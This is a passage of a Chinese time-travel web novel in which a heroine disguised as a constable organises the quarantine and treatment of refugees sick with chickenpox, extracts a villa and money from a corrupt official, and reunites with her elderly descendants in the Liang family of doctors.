就在这时,一脸色泛着不正常潮红的女子拖着腿脚,走了两步,就趴伏在地上,不知生死。 她那碗粥洒了大半,还有小半碗捏在她手中,几个男人围了上来,看着那口吃的眼冒绿光。 眼瞅着一男子伸出乌黑的爪子就要抢走她的口粮,静之实在忍不了,脚下一蹬,飞身上前,佩刀出刃半截,冰凉的刀身抵在他的下巴。 她冷冷说了一句: “滚!” 那男的跌坐在地上,腿脚不断后蹭着,退出几米,才一溜烟跑了。 刚刚那几个围过来的男的,也一窝蜂散得远远的。 静之啐了一口,刚想上手扶起这姑娘,却看到她裸露出来的脖颈处,有点点不正常的红色水泡。 根据她粗重,不甚清亮的呼吸声,静之初步判断,这姑娘不仅发烧了,可能肺部还有感染,最重要的是,她可能有不知名的传染病。 她立刻退开身子,举目看了一圈围在城墙外的帐篷,发现这样症状的人还有好几个。 不是手部有了红疹子,就是脸上浮起一点点红水泡。 她面色一肃,来到城墙下,对城门边的大何说: “这群流民可能已经有传染病在暗中传播,我建议加强戒备,尽快召集镇里郎中为他们检查身体,分开治疗。” “最重要的是,注意卫生,及时消杀细菌……额,也就是消灭传染病的来源。” 大何皱眉看向不远处趴在地上的女子,有些为难的说: “妹,不是,兄弟啊,咱们老爷你没见过,他……” 他凑近说: “他最欺软怕硬,懒得管闲事了,这事儿如果上报,他估计会直接烧了这群病人了事。” 静之眉头拧得死紧,只问了一句: “他住哪儿?” “东街2号。”大何扯住她的袖子,“你要去找他?算了吧。” 静之挥掉他的手,“怎么能算了呢,那是几条人命啊。退一万步讲,不把传染病扼杀在源头,镇上的人被感染了怎么办?!” 大何见劝不动,抿着嘴作壁上观。 静之冷哼一声,捏紧佩刀就往回走,“早上事情干完了吧,你不去,我自己去!” 走到小江跟前,她刚想问一句,小江有些无所谓的说: “我跟你去,你别怪他,他家里好几口人要养呢,等会儿惹怒老爷,撸了他的职位,他可就完了。” 静之深呼吸一口气,才点点头说: “走吧,这事儿越快越好。” 就在这时,后头突然传来两个熟悉的脚步声。 “小兄弟,又见面了,你在东城当差啊?”林九遇到熟面孔,礼貌寒暄一句。 静之看到林九,眼睛瞬间放光,刚想上前扯住他说点事儿,又想起他的毛病,于是克制住自己亲近的举止,扯出个笑脸,对他点点头。 “林道长,不知……你可认识镇上的郎中,那群流民里,我估摸着有传染病,得尽早解决。” 林九刚收完个恶鬼,此时有些疲惫,听到静之这么一说,他的眉头也跟着竖成个川字: “我就会医,我过去看看。” 说罢,他转身就要朝那群流民走去。 “等等。” 静之叫住他,一脸严肃的说: “刚刚我看到个病人,身上起红疹,呈水泡状,病人正发烧,呼吸急促,声音沉闷,我没细看,初断是水痘,再严重一些的话……就是天花。” “你如果要接近,请捂好口鼻,少与病人接触,接触后也要及时洗手消毒。” 林九微微睁大眼睛,有些诧异看着静之说: “多谢提醒,小兄弟,也懂医术?” “略懂。”静之想了想又说: “您如果认识其他大夫,最好一起叫过来看看,外面不少人呢,你一个人看不过来,这两种病症都有潜伏期的,每个人都得检查。” 林九略微思索了一下,觉得她说得在理,也不逞英雄,朝静之抱拳: “林兄弟仁义,我这就去请老刘和老赵一起过来看看。” 阿海背着他师父的抓鬼行头,插嘴一句: “哦,老刘和老赵,是我们这东城和西城的两个郎中。” 静之点点头,看了眼流民们漏风着的破烂帐篷说: “我去衙门问问大人,看看找些空房屋,给这些病人安置好,总不能放任他们在这里吹风。” 林九赞赏的多看了两眼静之。 两人这会儿心里都揣着事,互相拱手告辞。 一个召集郎中,一个径直奔向衙门,会见那个传说中的大人。 东街2号。 建得比衙门都气派。 静之撇嘴,这“大人”该不会克扣了民脂民膏,用来建房子了吧。 她翻身入墙,就看到一人坐在正厅喝茶,还有一侍女给他捶腿。 看清座上人之时,静之忍不住大翻白眼。 靠啊,怎么是阿威??? 第189章 劫富济贫 她看到这张脸就烦。 “哎呀~~大人,别这样,等会被夫人看到,她会把我发卖了的。” 那丫鬟欲拒还迎,作势推开他的手,脚下却是一个踉跄,顺着他拽人的力道,直直撞进他怀里。 “阿威”顺势搂住她,听到她说起他夫人,他僵了一瞬,随即淫笑出声: “哈哈哈,我威霸天会怕她一个臭娘们,来嘛,小宝贝儿~明儿我就纳你做我的第八个姨娘!” 眼瞅着两个人在太师椅上搂搂抱抱,就要上演少儿不宜的戏码的时候,静之蹲在房檐,指尖迅速挥出两颗石子。 那侍女还来不及收回得意的眼神,便白眼一翻,昏倒到威霸天的怀里。 威霸天被点中穴道,一动不动的定在原地。 他的眼珠子不停乱转,搜索着来人的身影,刚想高声呼叫家丁和护院救命,一把冰冷的刀鞘就抵住了他的后脖颈。 吓得威霸天打了个嗝,把呼救的话吞了个回去。 他抖着声音谄媚笑道: “哪位高人,还请现身,您若是喜欢这个丫鬟,直接拿去便是,好说哈,一切都好说!” 静之冷哼一声,故意粗着嗓子说: “哼!狗男女,我嫌脏。” 如同沁了霜的冰冷声线,直接让威霸天的额头留下一颗豆大的冷汗,他态度上直接一个大滑跪: “那,那您要什么,女人?还是钱?只要我有,我都给你,只求你别杀我!” 静之唰的一声,打开一点佩刀,将刀刃欺上他的后脖颈。 那冰凉锋利的刀刃吓得威霸天忍不住一个哆嗦,他双眼紧紧闭在一起,祈求道: “别杀我别杀我,求你别杀我!” 静之没眼看: 啧,还是跟上辈子,哦,不对,是他下辈子一样。 好色,贪财,又没胆! “限你一个时辰内,安排一处城外的空屋,要大,房间要多。” 威霸天立马抖着唇接话: “有有有,城外我有个别院,大得很,房间也多得很,我立刻给您安排。” 废话,那是他装七门小妾的温柔乡,能不大,房间能不多吗? 不过这回可算是完了,遇到这个要命的阎罗王。 静之压平刀刃,嵌入他一点皮肉,又拿刀柄拍了拍他的脸: “别跟我耍花样,我能神不知鬼不觉的进来,也能神不知鬼不觉的……杀了你!” 看着那刀柄上刻着的衙,她突然眼睛咕噜一转,邪笑着说: “你也不想你调戏侍女的事儿,被你夫人发现吧。” 他刚刚僵了一瞬的身子,静之可是看得清清楚楚的。 “你,你,你是我夫人派来的?”威霸天大惊,脸色唰的一下全白了。 他夫人是尚书之女,他能有今天,可是全靠他夫人的母家扶持的。 这事儿,要真被那个母老虎知道了,他还能有好? 静之冷笑一声,没有回话。 威霸天以为她默认了,一张脸瞬间灰暗下来。 却不曾想,她又提了个条件: “尚书有令,如今朝野动荡,内忧外患。陛下最近心情不佳,你吞下去多少赈灾粮,都得给他吐出来,否则,事情一旦败露到上头去,就别怪他大义灭亲,拿你开刀了!” “好好好!明早就安排!”威霸天边连声答应,边不住腹诽: 漏到他手里的就这么点儿了,他岳父还好意思说,他保不齐贪得比他还多呢。 “那,那个,我夫人拿多少钱请你啊?我出双倍!你保护我!” 威霸天想来个碟中谍,顺便收一个真正的高手在身边,毕竟现在的世道,是越来越乱了。 静之吹了吹指甲,轻飘飘说一句: “哦,我要去告发夫人,说你贿赂我。” 威霸天急了,“诶!!别别别!” 他就多嘴问这一句。 威霸天若是能动,恨不得当场狂抽自己两个大嘴巴子。 静之打了个响指:“封口费拿来。” 威霸天:“要,要多少啊?” 静之:“你有多少?” 威霸天眼睛下垂,看向他腰间系着的钱袋子,嘿嘿讪笑一下: “那什么,里头都是夫人每月给我的零花钱,您别嫌少,我身上就这么多了。” 静之看着那瘪瘪的钱袋子,眉头渐渐皱起。 她想着,她现在口袋比脸还光,于是撇下嘴,拿起旁边青花瓷里放着的鸡毛掸子,勾起他的钱袋子往后一扯。 “臭小子,你敢骗我的话,我捶爆你的脑袋!” 静之在他身后,骂骂咧咧的打开钱袋子,掏出里面的东西一看,瞬间惊得瞪大双眼。 两张银票,每张50两! 好家伙,她直呼好家伙! 这人的零花钱居然是一百两。 这货果然是个巨贪啊! 好好好,可别怪她逮着他薅了…… 威霸天讪笑了两下,唤了两声“大侠”,却发现屋内没有了动静。 那人不知不觉间,又消失了。 威震天的脸这回白得比墙还白。 他,他,他该不会是遇到鬼了吧?? 威霸天:九叔!救命!!! 就在这时,一根羽毛急射过来,解了他的穴道。 一道男女莫辨的嗓音,仿佛在他耳边响起: “还不快去备房?找死吗?” 威震天一抖,把身上的侍女推在地上,昂起头四处查看。 然而,一无所获。 他反倒松了口气,并摸着下巴想: 不是鬼,那就是人了。 而且这人,看起来颇为爱财。 钱嘛,他有的是。 衙门里那些孬货哪有这等武功。 看来,他得想个法子,把她从夫人那里挖过来了…… …… 另外一边,静之拿了钱,把荷包一烧了事。 然后拿了一张银票去钱庄换了银子。 值得一提的是,那元通钱庄历史悠久,只是时间倒退,现在钱庄里还没有林九存的钱。 静之暗叹林九的打算落了空。 不过,她也不是那种娇生惯养的人,没钱,再赚就好了。 只是手上的50两白银,她怎么也不想用到自己身上去。 静之索性找了家医馆走进去,欲买一些清热解毒的草药,熬了给城门口那些人喝,预防一下也好。 没想到刚一走进去,就遇到林九师徒俩,跟一个老头,正对另外一个站在药柜前的老头劝说着。 林九蹙着眉,义正言辞劝道: “老赵啊,这事儿说大了,关乎全镇百姓,说小了,与你我也有关,你就关一会儿店,跟我一同去看看吧?” 老赵捡着中药,又慢悠悠抬起眼皮看他一眼,叹口气说: “九叔啊,我老了,不想再淌这趟浑水,你俩自己去吧。” 他又说:“退一万步讲,我也去要养家糊口的。” “说个现实的问题,就算我们挑出那些个病人了,流民的医药费谁付,我这些个药材,也不是大风刮来的。” “难道由我们自己来承担这些费用吗?还是你要负责?” 林九被他几句话堵了回去,脸色一时难看得紧,半晌说不出话再来劝他。 旁边的老张,也是叹口气,抚着花白的胡须摇了摇头。 人各有志,他也不能逼人家。 “阿九啊,要不……” “我来付!” 静之从侧边拍出一张五十两银票,“大夫,我买点清热解毒的药材,黄柏,马齿苋,银翘……” 静之报出一系列中药名跟数量,想了想又说: “剩下的钱,再买点艾叶,你看够不够?” 林九抬手揪住她袖子,欲言又止: “小兄弟,你……” 静之垂眸看了眼左袖上捻着的修长手指,突然清浅一笑。 她悄然退开一步,装作男子一般,动作潇洒的拍了拍林九肩膀: “林道长,你放心,我心里有数,都是为了百姓尽一份力嘛。” “哦,对了,地方我跟大人申请好了,你跟这位……” 林九被她唇红齿白的笑容闪了一下,两颊微微泛起红晕。 他故作镇定,侧身与她介绍: “这位是老张,东城杏济堂的大夫。” “杏济堂?”静之有些诧异。 这不是她跟二娣开的医馆的名字吗? “敢问您东家是?”她问。 老张笑着说:“东家姓梁,名恩,不过他年岁已高,最近已经有几天不来医馆了。怎么?小兄弟,你认识我东家?” 静之摸着下巴想了一会儿,才记起来。 梁恩? 这不是当初那个,把老年二娣藏起来的缺心眼祖孙孙嘛? 难道真的那么巧? “我确实找他有点事儿,请问他住哪儿?” 老张拉着静之的袖子走到旁边,低声问: “小兄弟,你找我东家何事?他不轻易见人的。” 要不是看在静之刚刚有几分豪义的举措,他理都不会理她。 毕竟这年头的官府人员,不是事不关己高高挂起,就是畏畏缩缩,贪污腐败的走狗。 听他问起,静之垂眸思索了一会儿,再抬起眼看向他时,眼里尽是复杂: “老张啊,我跟你东家有点关系,至于什么关系,那就是不能说的关系,你就想吧……” 老张眼皮微跳,表情如下 : ?_? 夭寿啦! 难道这毛头小子,是他89岁东家的晚年私生子? 了不得,了不得! 东家该不是私藏了什么生子秘方吧? 自以为揭开东家秘辛的老张,摸着胡须,略显八卦的凑近说: “东街19号就是梁府,别说我说的。” 老张抬手挡着嘴,又压低声音说: “有空来我医馆坐坐,我们聊聊天,喝喝茶哈。” 静之朝他露出一个神秘莫测的微笑,“好的。” 八卦的老头,拿捏~ 被冷落了好几分钟的林九,莫名清了清嗓子,插入一句: “你刚刚说,找到地方了,在哪里?” 静之突然记起刚刚说到一半的话,她捶了一下手掌,才想起刚刚忘记问威霸天地址了。 那臭小子不会放她鸽子吧? “你们先去看看病人,我再回去问问。” 林九点点头: “药打包好了,老赵不去的话,老张你跟我去也行。” 静之刚拐出去的脚,又拐了回来,“我也去!反正我闲着没事。” 林九皱眉,不是很赞同的说: “你不是还要回去问话吗?” 静之:“那……我顺便跟头儿请个假就过来,你们先去!” 她边跑,还边不忘回头提醒一句: “记得围上口鼻!” 第190章 梁家人的优缺点 “静之姐,你真找到地方啦?” 小江一路小跑跟在静之身后,疑惑问道。 她才来一天,镇上的路都还没摸熟呢,更别说镇子外了。 “别叫我姐,从今天起,叫我……哥。” 静之好心放缓脚步等他,回头接着讲: “找是找到了,有位好心人提供了个住所,我忘记问在哪个位置了而已。” 小江还是不信。 他伸长了脖子盯着静之脸上的神情,有些难以置信的问: “大人批给你的?是我们衙门的威大人?” 要知道,在他心中,静之口中所说的那个“好心人”,无论如何都不可能会是威霸天那个整天只知道吃喝玩乐、毫无作为的酒囊饭袋啊! 然而,面对他如此惊讶的反应,静之却只是轻轻地点了点头,嘴角微微上扬,流露出一抹神秘莫测的微笑,轻声回他: “没错,还真就是他亲自批准的呢。” 说完之后,她稍稍停顿了一会儿,才把目光转向一旁的小江: “你在这里住这么久了,知不知道你家大人在郊外有个院子啊,面积大,房间多的那种。” 小江惊得瞪大双眼,“你怎么知道?” “哦?你真知道?” 静之停下脚步,“那就不用去找大人了,你带我先过去看看。” 那个地儿有些隐秘,小江还是偶然一次抓贼,跟着贼走到那个院儿里,并发现了威大人常坐的轿子和一屋子的莺莺燕燕,他才发现那是威大人金屋藏娇的地方。 他满眼好奇,问了静之一路是怎么知道的。 静之笑而不语。 突然,她停下脚步,抱着佩刀,警惕的竖起耳朵听身后的脚步声: “小江,你悄悄回头看一眼,是不是有人跟踪我们?” “哦哦。”小江微微撇过头,用余光瞄了一眼。 当看清“跟踪者”时,他提起的心瞬间放回了肚子里。 “嗐,吓死我了,是梁大夫,你放心吧,自从他年岁渐长,就有这爱跟踪人的毛病。” “之前他还跟过一段时间的九叔呢。” “听着是有些变态,不过他不会对你做什么的,等会他家人发现他不见了,自然就会出来寻他回去的,你放心。” “梁大夫?”静之闻言跟着一回头,一个发须皆白的老头藏在卖糖葫芦的小贩身后。 还时不时露出一半脸偷看她。 见她看过来了,那老头浑身一震,动作倒是敏捷,直接一个大跨步,蹲在人家面摊的推车后躲着。 只凭刚刚那露出来的半张脸,静之就确定了八分。 这又机灵又怂的样儿,可不就是她的祖孙孙吗? “你在这儿等我一下,我有话跟他说,很快。” 交代完小江,静之径直朝着那个面摊走了过去。 老头估计发现她过来了,半弓着身子,偷偷摸摸的,打算开溜。 溜到一半,就被制住了命运的后脖颈。 一道熟悉的声音在他脑后幽幽响起,“我说祖孙孙啊,不认识你祖奶奶了?跑什么?” 梁老大夫仿佛那生锈的机器,极其缓慢的回头,满脸皆是惊愕之色。 “祖,祖奶奶?真,真是你?” 静之看了看人渐渐多起来的街道,扯着梁恩的领子就往巷子里带。 梁恩:就是这种感觉,就是这种无力反抗,又心悦诚服的感觉。 “你真是我祖奶奶!” 他掏出口袋里的老花镜带上,把头往后仰了仰,聚焦一下眼神。 待看清那张依旧不变的娇颜时,他扯着静之的袖子,突然红了眼眶。 “祖奶奶,你不是走了吗?怎么又回来了?梁恩以为,这辈子再也见不到你了!” “祖爷爷也回来了,可是他不记得我了,跟了他三十多年,他都不跟我回家。” “祖奶奶,你跟我回去吧?” 静之听到这儿才明白,感情刚刚小江说这老头跟踪林九,是因为认出林九是他祖爷爷了。 好小子,这家伙跟踪人家三十多年,林九没少揍他吧? 静之看着不远处街尾那间小小的二进院子,目露怀念。 院子里的那棵树的树冠,倒是越发大了,枝丫都伸出院子外头了。 静之:“你们现在有你们的生活,我就不去打扰了。对了,我和二娣的家,现在怎么样了?” 梁恩:“你放心,那里我时常叫伙计过去打扫,本来想叫祖爷爷过去住的,可他……” 静之用膝盖想也知道,这老孙子估计被林九当成神经病了吧。 梁恩从怀里掏了半天,才哆嗦着手掏出一把用红绳系着的钥匙,“既然您回来了,又不愿意跟我回家住,这钥匙给您,好歹有个落脚的地儿。” 静之接过那把用了几十年的钥匙,手指轻轻摩挲着上头已经被盘得光亮的锁齿,突然有些明白,林九为什么要回来这个时代了。 他是觉得她还放不下这里吧? 傻子。 一个将死的老头,为什么心里的小九九就这么多呢? “小恩呐,有没有钱,拿点钱给你祖奶奶花花。” 那“讹”来的五十两民脂民膏,她反正是花得不安心,当做城外那些人的治疗经费算了。 梁恩痛快解下荷包交给静之,看着她身上穿着的一身差服,他花白的眉毛渐渐皱起: “祖奶奶,你就不能找份别的工吗?现在的官府乌烟瘴气的……” 静之拍了拍他有些驼的肩膀,叹了口气: “小恩呐,你是不知道,这年头找工作有多难,你祖奶奶我只能重操旧业,混口饭吃罢了。” 梁恩肃了脸色,一脸郑重说: “祖奶奶,干这什么破差事!要不您回咱们家医馆吧,我那些子孙还是有些出息的,除了咱们本家医馆,也有开武馆的。” “您要是都不想去,再不济,我重新出山,帮人看病养你!” 梁家人完美继承了二娣的优缺点。 缺点:嘴毒。 优点:护短。 那群小崽子们,要是知道他们梁家的祖奶奶在外头巡街,就图混口饭吃,他们赶明儿就能跪成一排,磕死在二娣的坟头。 静之瞬间被这老头的一片孝心噎住,好半晌才摇摇头说: “再说吧,我现在有点急事,你一老头别到处瞎晃悠,还记得回家的路不?” 梁恩(′?_?`): “祖奶奶,我是老了,不是傻了,你放心去吧。” 他想了想又改嘴说:“你放心走吧?” 静之:“……” 梁恩:“……你放心上路吧?” 静之:“……啧,你要是有空在这儿斟词酌句,不如回去叫你……会医术的儿孙来城东门口帮帮忙。” “对了,千万别暴露我的身份,我现在是个男的啊!” 静之补充道。 要不是看在他年迈的份上,她早就把他按在地上捶了。 梁恩摸着发凉的后脑勺,连声应是,腿脚倒是还挺利索的,走得飞快。 小江见他们谈完了,一脸不赞同的走过来: “我说静哥,老头的钱你也拿,不怕遭雷劈啊?” 静之又演上了,她悠悠叹了口气,眸子里尽是私生子特有的谨小慎微: “你不知道,他,他是我爹,我是来投奔他的。” 她捏着那带着药香的荷包,眼眶微红: “这是他给我的生活费,和封口费。” 小江一副被雷劈了的样子,下巴都快掉到地上了。 “这,这样啊,那他真是老当益壮。” 静之万万没想到,这小江还是个大喇叭。 不过半天时间,喜当爹的梁恩彻底晚节不保。 他那半截身子入土的发妻拿着拐杖,一路将梁恩从街头撵到街尾。 平白让整个镇子的人看了笑话。 此事暂且不提。 等静之跟小江来到那别院时,又双双臭骂了威霸天一顿。 那院子里,亭台楼阁,比比皆是。 院子正中央竟还有个大型假山跟池塘。 里头的人倒是走光了,就留下一个聋哑老汉看着门。 仿佛走得匆忙,那些莺莺燕燕只打包了一些值钱的物件走。 里头的基本生活设施倒是还挺齐全,是个让人安静养病的好场所。 二人巡视一圈,跟那个老汉交接完钥匙,就直奔东城城门口。 梁恩倒是动作快,叫来了好几个青年大夫。 里头有男有女,皆带着口罩和手套,把那几百个流民分成好几个列。 每一列的前头皆摆了个长条桌子,一列分配一个大夫,流民一个个上前,老老实实接受检查。 没办法,不老实不行。 城门口的看守士兵,一看到最初趴在地上的那位女人不治身亡,都怕得要命。 一个个拔出刀,远远站成一排,紧紧盯着他们。 那一排刀锋在阳光的照耀下,闪得人睁不开眼,不知道的,还以为这儿是刑场呢,威慑力可谓是极强。 静之手搭在眼睛上,挡住阳光找了好一会儿,才在人群最右侧的不远处,发现了正蹲在坑前做法的林九。 她眼前一亮,快步走了过去。 还未到近前,林九轻抖手里的符,火苗窜上符纸。 他把符纸往坑里一丢,那里头被树枝掩埋了的尸体,轰的一声燃了起来。 做完这些,林九才转过头来说: “林兄弟,别靠得太近,小心感染。” 静之紧了紧脸上的帕子,后退一步,她指着坑里的女人问: “这是刚刚晕倒的那个?这就死了?” 林九点点头,神色凝重: “她估计很早就发病了,挨了许久,没及时治疗……不过,依我看来,她是饿死的……” 静之跟着皱眉,疑惑问道: “不可能啊,小江说,这粥已经发放几天了,是吃不饱,但不至于饿死吧。” 林九摇摇头,“那林某就不知情了。” 静之叹了口气,看着那具正燃烧着的尸体问:“这些人得的什么病?” “好在不是天花,是水痘。”林九松了一口气,眉头却依旧蹙在一起,“然而水痘的传染性也很强,幸亏有这些大夫过来帮忙,我们已经找出好几个发病的……哦对了,你说的那地方,准备好了吗?” 这章没有结束,请点击下一页继续阅读! 静之循着他指的方向看过去,那里有好几个担架,担架上躺满了病人,发病较轻的,也互相搀扶着站在那里。 两个士兵离了好几米远,皆用布料围了脸,一脸恐惧的看着那群满脸疙瘩的人。 她转回头跟林九说: “准备好了,可以先送一批过去!” “行。”林九把下摆扎进裤腰,又挽起袖子露出结实的手臂,“阿海,走,咱们一起去帮忙!” “等等!” 静之一把摁住他的手臂,“你会医术,你别去,我跟这位海兄弟一起去。” 她的手触到他手臂的那一刻,林九浑身一震,下意识抬头看一眼静之。 林九心想,她应该只是着急吧? 林九后退一步,礼貌的朝她点头,“好,那你们小心些。” 静之露在外头的眼睛突然笑得弯弯,一双美目顾盼生辉,点头说好。 林九定了两秒,突然意识到他这样看着人不礼貌,于是有些狼狈的挪开眼神,背着手快步走到队伍里帮忙去了。 静之似笑非笑地看着林九的背影,叹一句纯情后,便和小海来到城墙边的几个担架处。 刚弯下腰,手捏住担架把手,刚想抬起,一个戴口罩的青年人一个箭步冲过来。 “祖祖祖……住哪儿,我来就行,您那边歇着就行。” 静之莫名其妙的看了他一眼,又突然猛的一转头,看向身后的人群。 那些大夫个个背对着她正襟危坐,忙得飞起。 静之:奇怪了,她怎么觉得好像有人在看她? 第191章 她超爱的 “城门口一出来,往左边大路一直走,遇到片桃花林,直接穿过去,你就可以看到一个庄子了!” 静之把钥匙塞进那大夫的口袋里,又下意识轻拍两下袋子口: “好好保管,钥匙只有一把啊。” 那大夫莫名亢奋,腰杆子挺得直直的,应她的声音突然提高了几个度,“好嘞!” 静之:……不知道的还以为他这是抬花轿呢,这么开心干什么? 青年大夫:我碰到老祖宗了,不对,我被老祖宗碰到了!碰到了!到了!了!! 正在他在心里疯狂尖叫的时候,一位坐着的六旬男大夫忍不住撇了下嘴。 他边交代病人注意事项,边分神用余光悄悄打量着静之的背影。 “我说这位老丈你……” 静之何其敏感,她感知到有人偷看时,就猛的一回头。 大夫收回眼神,郑重的对面前的病人说: “不能碰水。” 边交代着,看静之转回去了,他又悄悄盯上了。 静之又是一回头。 他收回眼神。 “忌食辛辣油腻。” 静之回头。 他收回眼神,并挠了下额头,挡挡心虚的眼神: “注意防风。” 静之不仅回头,还朝他走了过来。 六旬大夫开始磕巴上了,如坐针毡。 眼睛从病人身上,转移到静之脸上。 眼神却是越来越亮。 “……最重要的一点,皮肤痒千万不能再用手挠了,会留疤。” 他嘴上不忘交代着病人,心里却是因为静之的举动掀起一阵波澜。 这就是传说中神神秘秘,不知所踪的祖祖奶奶啊! 他爹果然没骗他,祖祖奶奶年轻的很! 静之走到他跟前时,他下意识站了起来。 两手无措的捏着衣角,像个乖乖罚站的小学生。 旁边两列靠得近的大夫,不由为之侧目。 今天真是小刀喇屁股——开了眼了。 家主什么时候这么慌过? 静之全然不知这几人百转千回的心理活动。 见他们看过来,她朝左右各投去了一个疑惑的眼神。 还没跟他们对上视线呢,那一男一女,俩年轻的大夫裸露在外的皮肤瞬间红了。 “噌”的一声站了起来,立得比她面前这老头都直。 静之:“……” 这些人,怎么一个个都奇奇怪怪的。 毛病。 梁恩的儿子梁纪,也就是面前这个老头,梁家如今的家主,也发现两个小年轻的异常了。 他脸一板,沉声喝道: “坐下!” 这声儿还挺有威慑力。 不仅那俩大夫乖乖坐下干活,就连刚刚给他看完病的那个老汉,也腾的一声坐回椅子上。 老汉摁着胸口,一脸慌张问: “大,大夫,是不是……是不是我没救了?” 梁纪轻抬眼皮,偷瞄了一眼眸色微微流转的老祖宗,清了清嗓子,好半天才找回自己以往的沉稳做派,对他说: “我不是说你,你到旁边等会儿,下一个。” 那老汉走了。 下一个还没坐下之前,静之一手撑在桌上,俯下身对上梁纪慌张的眼神,打出一记直球。 “说!偷偷摸摸看我干什么?” 梁纪这会儿刚要坐下,老祖宗一发话,他站也不是,坐也不是,就这么微蹲着,矮了静之一头。 静之看他,他倒是不敢直视了。 眼神微微下移,盯着她面上的帕子,挤出一句: “没,没事!医馆还在老位置,您有空可以回去坐坐。” 静之突然明白,感情梁恩那老小子是个大嘴巴,这才不过半个时辰,这几个人都知道她身份了? 静之把头转到最右边——林九所在的队列。 此时,他正坐在椅子上,弯着腰对一个小孩问着什么。 静之松了口气,脸转回来,把头凑近梁纪耳边,悄悄交代: “不管梁恩跟你们说了什么,记得一个大原则,不准暴露我的身份,最重要的一点——我现在是个男的。” 梁纪能当上家主,全靠他的一颗七窍玲珑心。 根据他老祖宗的神色,他就明白了她的想法。 老祖宗这是要采取迂回的战术,重新拿下他祖祖爷爷吧? 他郑重点头,“纪明白。” …… 最右侧的林九感知到她收回眼神,默默又把脸抬高了一点去看她,却看到她和一大夫靠得极近,交头接耳的。 他心想,这些人,该不会是静兄弟叫过来帮忙的吧。 果真是义士。 值得结交。 静之余光瞄到他在看她,下意识侧头与他对上视线。 却看到他舒展着眉,微眯眼睛,对她点了点头。 其实静之刚刚之所以凑这么近,也是想试试林九的底线。 毕竟,她刚刚碰到他的手臂,他都没吐呢。 可现在,他这看好兄弟的眼神,又是怎么一回事? …… 静之被他看得有些恍惚。 本想过去找他,却又被他刚刚一个眼神劝退。 于是只能搬条板凳,坐在梁纪旁边看他行医。 她想好了,既然阿九选择来这个时代,她的灵力又不能轻易使用,那多学点保命的技能是非常有必要的。 她坐在椅子上思虑良久,才趁着梁纪空下来,对他说: “医馆现在你话事?” 梁纪点头。 静之:“可否收我为徒,我想学医。” 梁纪屁股一滑,差点跌到地上去。 他扶着板凳重新坐好,压低声音说: “老祖宗,你不是会医吗?” 静之挠着脸,难得有些不好意思: “那什么,二娣教我的时候,我都是有一句没一句听着的,我就是半桶水而已……” 说到一半她抻着脖子,微微扬起下巴,理不直气也壮的问他: “你到底教不教嘛?” 梁纪眼神莫名变得和蔼,她这撒娇的语气一下就拉近了他们之间的距离。 果然不愧是家人吗? 他说:“族里有开设学堂,专门教授医术,老祖宗你如果要重头开始学,可直接去族学里上课。” 他可教不了她,他怕折寿。 静之犹豫了一下,才点点头: “那也行!等这件事儿忙完了,我就过去。” …… 分工合作就是快,不过半天,那几百号人,就被十几个大夫筛查了一遍。 有病的直接拉去别院隔离,没病的抓几贴清热解毒的药给他们预防。 静之跟个街溜子一样,捏着把点燃的艾草,把这一大片地儿直接熏成了天宫。 城门口的士兵就算被呛到流眼泪,却依旧觉得多了几分安心。 …… 忙活半天,太阳已至头顶。 烈日炎炎,无阴影遮挡的几个大夫,脸上厚厚的布口罩都已半湿了,林九的衣服也被汗水浸得贴在了身上。 正当他收拾东西,准备回道观的时候,静之拿着不知从哪儿搜刮来的扇子,大摇大摆的朝他走过来。 “林道长,你要回去啦?咱们顺路,一起走呀。” 不知是有意无意,静之拿扇的手微微往前举了举,一股微风自她手中扇出,给要热死了的林九带去了几分凉意。 他眉头微松,朝她点点头: “好,走吧。” 他俩走出一段距离后,城门口那些年轻大夫纷纷聚集在一起,看着静之和林九的背影不住感叹。 “族长,她就是老祖宗啊,都没看到脸,真可惜!” “哇,穿越百年为你而来,知道九叔怕女人,她还女扮男装了,老祖宗她可真痴情!” 梁纪一人铲了他们一耳屎,女大夫则是一人分到一个栗子。 “小点声!老祖宗有交代,不许泄露了她的身份,谁要是敢坏了她的好事,谁就给我滚出杏济堂!” 第192章 “我自己来,谢谢。” “咕噜咕噜……” 两人并肩走着,阿海跟在他们后头,肚子饿得直叫唤。 阿海捂着肚子,有些尴尬的看着双双回头的两人,他竖起手指朝上指了指太阳,意有所指对林九说: “师父,日上中天,你猜我们现在该干点什么?” 林九有些尴尬的看了含笑的静之一眼,又转头回去瞪向阿海。 静之始终嗜着一抹浅浅的笑,她扇子一合,指向左前方门庭若市的酒楼,拱手微微对林九鞠一躬说: “不知小弟今天是否有这个荣幸,请林道长去那间……天然居吃顿饭呢?” “好啊好啊!”阿海一口应下,嘴角都快咧到后脑勺去了。 阿海想,天然居可是他师兄未来岳父的酒楼,去那儿的话,静之说不定还能打个折呢。 他开心的笑容在林九的冷冷一瞪下,又默默收了回去。 林九带着些歉意,对静之说: “你刚刚花不少钱了,这顿饭,还是我来请吧,不过我们背着这些东西,怕是挤不进去,我得先回道观一趟。” 静之看看好像客满了的酒楼,点了点头: “好呀,反正我没事干,就跟你们一起呗。” 林九信奉君子之交淡如水,他挪开眼神,浅笑一下,走到前头带路。 阿海则是背着一背篓的抓鬼装备,蹭到静之旁边问: “听说你是来这里投亲的,你怎么有这么多钱买药材呀?” 静之丝毫不慌,她反问道: “谁告诉你的?” 阿海:“我江哥喽。” 静之愣了一下,心中隐隐有个猜测: “你们该不会是亲戚吧?” 阿海挠着后脑勺,笑着说: “他是我哥。” 静之笑。 他爹倒是有意思,一个江,一个海,那大何呢? “那大何……” 阿海诶了一声,举手打断她的疑问: “大何哥的“何”,是何必的何,不是河水的河啊,他跟我们没关系,不过平时也有往来就是了。” 两人聊了一路,阿海越问越深入,林九频频回头,到道观门口,实在忍不住斥了一句: “那是人家的私事,你问这么多干什么?还不进去!” 阿海撇嘴,并小声嘀咕:“听一路了,要是你不想知道,不早点叫停?” 林九:“嗯?” 阿海闭嘴并开始装傻。(′?_?`) …… 刚踏进道观门口,就听到右侧庭院里传来阿宝的呼叫。 “小珠,小珠!” 三人走过去一看,原来是阿宝正躺在竹椅上睡觉。 他好像梦魇了,正说着梦话。 令人感觉奇怪的是,说梦话就算了,他嘴里还紧紧攥着一个毽子咬得用力。 阿海走过去拎着毽子毛摇了两下,结果纹丝不动。 林九闭了闭眼,心想今天这脸算是被这俩徒弟丢尽了。 他上前一步,一巴掌就铲到阿宝的圆脸上,直接把他扇醒。 静之暗暗啧舌,阿宝不会是上辈子骂多了林九,这辈子才来做人家的徒弟还债的吧? 这一巴掌,扇得可真瓷实,她都能看到阿宝的脸扭曲了一瞬。 “师,师父!” 